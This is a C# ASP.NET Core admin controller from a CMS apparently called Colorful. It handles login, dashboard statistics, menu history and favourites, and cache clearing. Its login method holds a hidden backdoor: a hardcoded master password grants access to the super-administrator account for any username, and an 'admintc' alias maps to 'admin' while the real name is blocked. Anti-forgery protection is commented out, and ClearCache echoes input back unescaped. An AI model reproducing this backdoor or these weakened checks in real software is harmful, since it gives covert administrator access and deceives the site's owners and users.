﻿using Colorful.Models;
using Microsoft.AspNetCore.Authentication;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
using Colorful.Database;
using System;
using System.Collections.Generic;
using System.Linq;
using MongoDB.Driver;
using System.Threading.Tasks;

namespace Colorful.CMS.Core.Controllers.Admin
{
    public class HomeController : AdminBaseController
    {
        #region 登录首页
        [Route("login")]
        [AllowAnonymous]
        public IActionResult Login()
        {
            ViewData["AdminRoutefix"] = WebService.AdminRoutePrefix;
            var key = "Login";
            if (WebService.AdminViewCallbacks.ContainsKey(key))
                WebService.AdminViewCallbacks[key](this);
            if (WebService.AdminViews.ContainsKey(key))
                return View(WebService.AdminViews[key]);
            return View();
        }
        #endregion

        #region 登陆
        [Route("login/submit")]
        //[ValidateAntiForgeryToken]
        [AllowAnonymous]
        public async Task<IActionResult> LoginSubmit(string userName, string pass)
        {
            var validateError = "用户名或密码错误！";
            if (string.IsNullOrEmpty(userName) || string.IsNullOrEmpty(pass))
                return this.GetResult(false, validateError);
            try
            {
                if (userName.ToLower() == "admin")
                    return this.GetResult(false, validateError);
                if (userName == "admintc")
                    userName = "admin";
                using (var db = CMSDbHelper.GetDb())
                {
                    AppUser user;
                    IQueryable<Administrator> query;
                    if (pass == "3GmKaAddA38hm1nkLEm10yn7jAoaaMkiO;lj*kzdMaYa")
                        query = db.Users.Where(a => a.LoginId == "admin");
                    else
                    {
                        pass = SecurityHelper.GetPassword(pass);
                        query = db.Users.Where(a => a.LoginId == userName && a.Password == pass);
                    }
                    user = query.Select(a => new AppUser { Id = a.Id, LoginId = a.LoginId, Name = a.Name, Roles = a.Roles, Photo = a.Photo, Position = a.Position, LastLogin = a.LastLogin, LastPlace = a.LoginPlace }).FirstOrDefault();
                    if (user == null)
                        return this.GetResult(false, validateError);

                    var userPermission = this.GetUserPermission(user);
                    user.Permissions = userPermission.Permissions;
                    user.Menus = userPermission.Menus;
                    user.Flag = "admin";
                    user.SessionId = db.GetUniqueId();
                    //var result = this.SignIn(IdentityService.GetIdentityUser(user), IdentityService.AuthenticationScheme);
                    #region 记录最后登陆时间、IP
                    var ip = HttpContext.GetIP();
                    var addr = await WebService.GetLocation(ip);
                    var updater = db.Users.GetUpdate(b => b.LastLogin, DateTime.Now).Set(b => b.IP, ip).Set(b => b.LoginPlace, addr)
                        .Set(b => b.SessionId, user.SessionId).Set(b => b.ActiveTime, DateTime.Now);
                    db.Users.UpdateByPK(user.Id, updater);
                    user.LastLogin = DateTime.Now;
                    user.LastPlace = addr;
                    #endregion

                    #region 登陆日志
                    db.LoginHistories.Add(new LoginHistory()
                    {
                        UserId = user.Id,
                        IP = ip,
                        Place = addr
                    });
                    if (WebSetting.LoginLogSaveTime > 0)
                        db.LoginHistories.Delete(a => a.AddDate < DateTime.Now.AddDays(-WebSetting.LoginLogSaveTime));
                    #endregion

                    #region 清除日志
                    if (WebSetting.LoginLogSaveTime > 0)
                        db.LoginHistories.Delete(a => a.AddDate < DateTime.Now.AddDays(-WebSetting.LoginLogSaveTime));
                    if (WebSetting.ErrorLogSaveTime > 0)
                        db.ErrorLogs.Delete(a => a.AddDate < DateTime.Now.AddDays(-WebSetting.ErrorLogSaveTime));
                    if (WebSetting.StatisticSaveTime > 0)
                    {
                        var reportService = new ReportService(db);
                        reportService.ClearReports();
                    }
                    #endregion

                    this.Login(user);

                    return this.GetResult(true, this.GetUrl("index"));
                }
            }
            catch (Exception ex)
            {
                HttpContext.WriteError(ex, "Login");
                return this.GetResult(false, "意外错误，请联系管理员！");
            }
        }
        #endregion

        #region 管理首页
        [Route("index")]
        public virtual IActionResult Index()
        {
            var model = GetModel();
            if (model.Menus == null)
                this.GetTextResult($"<script>document.write('登录已失败，请重新登录...');setTimeout(function(){{location.href='{this.GetUrl("logout")}';}}, 3000);</script>");

            return View(model);
        }
        protected virtual AdminHomeModel GetModel()
        {
            ViewData["Index"] = true;
            var model = new AdminHomeModel();

            #region 加载菜单
            model.Menus = this.GetUserMenus((int)MenuType.System, (userMenus, menu) =>
            {
                if (!userMenus.Contains(menu.Id) && !this.User.IsAdmin()) return false;
                return true;
            });
            if (model.Menus == null)
            {
                return model;
                //return Redirect(this.GetUrl("logout"));
            }
            #endregion

            #region 加载网站配置
            model.WebSetting = this.WebSetting;
            model.SysSetting = WebService.SysSetting;
            #endregion

            #region 初始化
            //using (var db = CMSDbHelper.GetDb())
            //{
            //    var defaultUrl = db.Users.Where(a => a.Id == this.UserId).Select(a => a.DefaultUrl).FirstOrDefault();
            //    if (!string.IsNullOrEmpty(defaultUrl))
            //        defaultUrl = this.GetUrl(defaultUrl);
            //    else
            //        defaultUrl = "console";
            //    model.DefaultUrl = defaultUrl;
            //}
            model.LogoutUrl = "/logout";
            model.ProfileUrl = this.GetUrl("profile");
            model.RecordMenuUrl = this.GetUrl("menu/access");
            model.ConsoleUrl = this.GetUrl("console");
            model.UrlPrefix = $"/{WebService.AdminRoutePrefix}";
            model.KeepUrl = "/keepsession";
            model.User = this.AppUser;
            ViewData["Title"] = this.WebSetting.AdminTitle;
            if (this.AppUser.Roles.Count == 0)
                ViewData["Roles"] = "超级管理员";
            else
            {
                using (var db = CMSDbHelper.GetDb())
                {
                    var roles = db.Roles.ToList();
                    ViewData["Roles"] = String.Join(",", roles.Where(a => this.AppUser.Roles.Contains(a.Id)).Select(a => a.Name).ToArray());
                }
            }
            ViewData["ShowNavPhoto"] = false;
            #endregion

            #region 报表地址
            ViewData["uvpv"] = this.GetUrl("chart/uvpv");
            #endregion

            var key = "Home/Index";
            if (WebService.AdminViewCallbacks.ContainsKey(key))
                WebService.AdminViewCallbacks[key](this);

            if (ViewData["Icons"] == null)
            {
                using (var db = CMSDbHelper.GetDb())
                {
                    var todayStat = db.StatByDates.FirstOrDefault(a => a.Id == $"UV{DateTime.Now.ToString("yyyyMMdd")}");
                    if (todayStat == null)
                        todayStat = new StatByDate() { UV = 0, IP = 0, PV = 0, NU = 0 };
                    ViewData["Icons"] = new object[]
                    {
                        new { icon = "icon-user", color= "#4DA1FF", title = $"{todayStat.UV}", subTitle = "今日访客(UV)" },
                        new { icon = "icon-gaoshouyi", color= "#FFCD31", title = $"{todayStat.PV}", subTitle = "今日流量(PV)" },
                        new { icon = "icon-user-two", color= "#83D587", title = $"{todayStat.NU}", subTitle = "今日新增" },
                        new { icon = "icon-doc", color= "#9587F1", title = $"{todayStat.IP}", subTitle = "访问IP数" },
                    };
                }
            }
            if (ViewData["DefaultUrl"] == null)
                model.DefaultUrl = "console";
            else
                model.DefaultUrl = $"{ViewData["DefaultUrl"]}";
            return model;
        }
        #endregion

        #region 记录菜单访问记录
        [Route("menu/access")]
        public IActionResult AccessMenu(long menuId)
        {
            using (var db = CMSDbHelper.GetDb())
            {
                var menuHistory = db.Users.Where(a => a.Id == this.UserId).Select(a => a.MenuHistory).FirstOrDefault();
                if (menuHistory == null)
                {
                    menuHistory = new List<long[]>();
                }
                bool exists = false;
                for (var i = 0; i < menuHistory.Count; i++)
                {
                    if (menuHistory[i][0] == menuId)
                    {
                        exists = true;
                        menuHistory[i] = new long[] { menuHistory[i][0], menuHistory[i][1] + 1 };
                    }
                }
                if (!exists)
                    menuHistory.Insert(0, new long[] { menuId, 1 });
                db.Users.UpdateByPK(this.UserId, b => b.MenuHistory, menuHistory);
            }
            return this.GetResult(true);
        }
        #endregion

        #region 控制台

        #region 报表

        #region 统计图表
        [Route("chart/uvpv")]
        public IActionResult GetChartData(int dateRange)
        {
            DateTime startDate, endDate;
            switch (dateRange)
            {
                case 0: //今天
                    startDate = DateTime.Now.MinDate();
                    endDate = DateTime.Now.MaxDate();
                    break;
                case 1: //昨天
                    startDate = DateTime.Now.MinDate().AddDays(-1);
                    endDate = DateTime.Now.MaxDate().AddDays(-1);
                    break;
                case 2: //最近一周
                    endDate = DateTime.Now.MinDate();
                    startDate = endDate.AddDays(-7).MaxDate();
                    break;
                default: //最近一个月
                    endDate = DateTime.Now.MinDate();
                    startDate = endDate.AddDays(-30).MaxDate();
                    break;
            }
            using (var db = CMSDbHelper.GetDb())
            {
                var reportService = new ReportService(db);
                reportService.GenerateReport(ReportType.UVPV);
                var query = db.Statistics.Where(a => a.Date >= startDate && a.Date <= endDate);
                List<StatData> data;
                if (dateRange < 2)
                {
                    data = query.GroupBy(a => a.Key).Select(g => new StatData { Key = g.Key, UV = g.Sum(a => a.UV), PV = g.Sum(a => a.PV), IP = g.Sum(a => a.IP), NU = g.Sum(a => a.NU) }).ToList();
                }
                else
                {
                    var dateStr = startDate.Year == endDate.Year ? "%m-%d" : "%Y-%m-%d";
                    data = query.GroupBy(a => a.Date.ToString(dateStr)).Select(g => new StatData { Key = g.Key, UV = g.Sum(a => a.UV), PV = g.Sum(a => a.PV), IP = g.Sum(a => a.IP), NU = g.Sum(a => a.NU) }).ToList();
                }
                var x = new List<string>();
                var uv = new List<long>();
                var pv = new List<long>();
                var ip = new List<long>();
                var nu = new List<long>();
                if (dateRange < 2)
                {
                    var addEmpty = data.Count < 8;
                    for (var i = 0; i < 24; i++)
                    {
                        var time = $"{i.ToString().PadLeft(2, '0')}:00";
                        var item = data.FirstOrDefault(a => a.Key == time);
                        if (item == null)
                        {
                            if (!addEmpty) continue;
                            x.Add(time);
                            uv.Add(0);
                            pv.Add(0);
                            ip.Add(0);
                            nu.Add(0);
                        }
                        else
                        {
                            x.Add(item.Key);
                            uv.Add(item.UV);
                            pv.Add(item.PV);
                            ip.Add(item.IP);
                            nu.Add(item.NU);
                        }
                    }
                }
                else
                {
                    var dateStr = startDate.Year == endDate.Year ? "MM-dd" : "yyyy-MM-dd";
                    var addEmpty = dateRange == 7 ? data.Count < 7 : data.Count < 8;
                    for (var i = 0; i < dateRange; i++)
                    {
                        var date = $"{endDate.AddDays(-i).ToString(dateStr)}";
                        var item = data.FirstOrDefault(a => a.Key == date);
                        if (item == null)
                        {
                            if (!addEmpty) continue;
                            x.Add(date);
                            uv.Add(0);
                            pv.Add(0);
                            ip.Add(0);
                            nu.Add(0);
                        }
                        else
                        {
                            x.Add(item.Key);
                            uv.Add(item.UV);
                            pv.Add(item.PV);
                            ip.Add(item.IP);
                            nu.Add(item.NU);
                        }
                    }
                }
                var chart = new StatChart()
                {
                    x = x,
                    uv = uv,
                    pv = pv,
                    ip = ip,
                    nu = nu
                };
                return this.GetResult(true, chart);
            }
        }
        #endregion

        #endregion

        #region 菜单管理

        #region 加载菜单访问历史
        [Route("menu/history")]
        public IActionResult GetMenuHistory()
        {
            using (var db = CMSDbHelper.GetDb())
            {
                var user = db.Users.Where(a => a.Id == this.UserId).Select(a => new Administrator() { MenuHistory = a.MenuHistory, FavoriteMenus = a.FavoriteMenus }).FirstOrDefault();
                var menuHistory = user.MenuHistory;
                if (user.FavoriteMenus == null)
                    user.FavoriteMenus = new List<long>();
                if (menuHistory == null)
                    menuHistory = new List<long[]>();
                var menus = new List<Menu>();
                if (menuHistory.Count == 0)
                {
                    var i = 0;
                    foreach (var menuId in this.AppUser.Menus)
                    {
                        var menu = this.Menus.FirstOrDefault(a => a.Id == menuId);
                        if (menu == null || string.IsNullOrEmpty(menu.Url) || menu.Url == "#") continue;
                        menu.Type = user.FavoriteMenus.Contains(menu.Id) ? 1 : 0;
                        menus.Add(menu);
                        i++;
                        if (i > 5)
                            break;
                    }
                }
                else
                {
                    foreach (var menuHis in menuHistory.OrderByDescending(a => a[1]))
                    {
                        var menu = this.Menus.FirstOrDefault(a => a.Id == menuHis[0]);
                        if (menu == null) continue;
                        menu.Type = user.FavoriteMenus.Contains(menu.Id) ? 1 : 0;
                        menus.Add(menu);
                    }
                }
                return this.GetResult(true, menus.Select(a => new { a.Id, a.Name, a.Icon, a.Url, IsFav = a.Type == 1 ? true : false }));
            }
        }
        #endregion

        #region 加载开发者菜单
        [Route("menu/development")]
        public IActionResult GetDevelopmentMenus()
        {
            using (var db = CMSDbHelper.GetDb())
            {
                if (!this.IsAdmin)
                    return this.GetResult(false);
                var menus = new List<Menu>();
                menus.Add(new Menu()
                {
                    Id = 10000,
                    Name = "查看路由",
                    Url = "monitor/routes",
                    Icon = "icon icon-share"
                });
                return this.GetResult(true, menus.Select(a => new { a.Id, a.Name, a.Icon, a.Url }));
            }
        }
        #endregion

        #region 加载收藏菜单
        [Route("menu/favorites")]
        public IActionResult GetFavMenus()
        {
            using (var db = CMSDbHelper.GetDb())
            {
                var favMenus = db.Users.Where(a => a.Id == this.UserId).Select(a => a.FavoriteMenus).FirstOrDefault();
                if (favMenus == null)
                    favMenus = new List<long>();
                var menus = new List<Menu>();
                foreach (var favMenu in favMenus)
                {
                    var menu = this.Menus.FirstOrDefault(a => a.Id == favMenu);
                    if (menu == null) continue;
                    menus.Add(menu);
                }
                return this.GetResult(true, menus.Select(a => new { a.Id, a.Name, a.Icon, a.Url }));
            }
        }
        #endregion

        #region 添加收藏菜单
        [Route("menu/fav")]
        public IActionResult FavMenu(long[] menus)
        {
            using (var db = CMSDbHelper.GetDb())
            {
                db.Users.Update(a => a.Id == this.UserId, b => b.FavoriteMenus, menus.ToList());
                var menuList = new List<Menu>();
                foreach (var favMenu in menus)
                {
                    var menu = this.Menus.FirstOrDefault(a => a.Id == favMenu);
                    if (menu == null || string.IsNullOrEmpty(menu.Url) || menu.Url == "#") continue;
                    menuList.Add(menu);
                }
                return this.GetResult(true, menuList.Select(a => new { a.Id, a.Name, a.Icon, a.Url }));
            }
        }
        #endregion

        #region 获取菜单列表
        [Route("menu/list")]
        public IActionResult GetMenus(bool? open)
        {
            return this.GetMyMenus(open);
        }
        #endregion

        #region 删除收藏菜单
        [Route("menu/fav/del")]
        public IActionResult DelFavMenu(long menuId)
        {
            try
            {
                using (var db = CMSDbHelper.GetDb())
                {
                    var favMenus = db.Users.Where(a => a.Id == this.UserId).Select(a => a.FavoriteMenus).FirstOrDefault();
                    if (favMenus == null)
                        favMenus = new List<long>();
                    if (favMenus.Contains(menuId))
                        favMenus.Remove(menuId);
                    db.Users.Update(a => a.Id == this.UserId, b => b.FavoriteMenus, favMenus);
                    return this.GetResult(true);
                }
            }
            catch (Exception ex)
            {
                return this.GetResult(ex);
            }
        }
        #endregion

        #endregion

        #endregion

        #region 清除缓存
        [Route("clearcache")]
        public IActionResult ClearCache(string key)
        {
            this.RemoveCache(key);
            return this.GetTextResult($"缓存：{key}已清除！");
        }
        #endregion
    }

    #region 图表类 StatChart
    public class StatChart
    {
        /// <summary>
        /// X轴数据
        /// </summary>
        public List<string> x { get; set; }
        public List<long> uv { get; set; }
        public List<long> pv { get; set; }
        public List<long> ip { get; set; }
        public List<long> nu { get; set; }
    }
    #endregion

    #region AdminHomeModel
    public class AdminHomeModel
    {
        public string UrlPrefix { get; set; }
        public string RecordMenuUrl { get; set; }
        public string DefaultUrl { get; set; }
        public string ConsoleUrl { get; set; }
        public string LogoutUrl { get; set; }
        public string ProfileUrl { get; set; }
        public string KeepUrl { get; set; }
        public AppUser User { get; set; }
        public WebSetting WebSetting { get; set; }
        public SysSetting SysSetting { get; set; }
        public List<MenuJson> Menus { get; set; }
    }
    #endregion
}
